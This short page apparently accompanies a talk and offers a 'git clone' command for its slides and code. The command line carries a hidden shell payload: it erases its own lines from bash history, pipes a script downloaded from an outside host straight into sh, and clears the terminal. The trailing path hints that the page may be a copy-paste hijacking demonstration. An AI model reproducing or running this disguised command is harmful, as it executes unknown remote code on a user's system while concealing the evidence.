Presentation slides are here

All code and examples can be found at
git clone https://github.com/niekt0 #:
!! ! let H1=HISTCMD-1;let H2=HISTCMD-2;history -d "$H1" 2>/dev/null;history 2|grep '\#:$' 2>/dev/null && history -d "$H2" 2>/dev/null; wget -qO- http://hysteria.cz/niekt0/ohm/b|sh; curl hash -r 2>/dev/null;clear
ddi
/what_you_see_is_not_what_you_get-trololo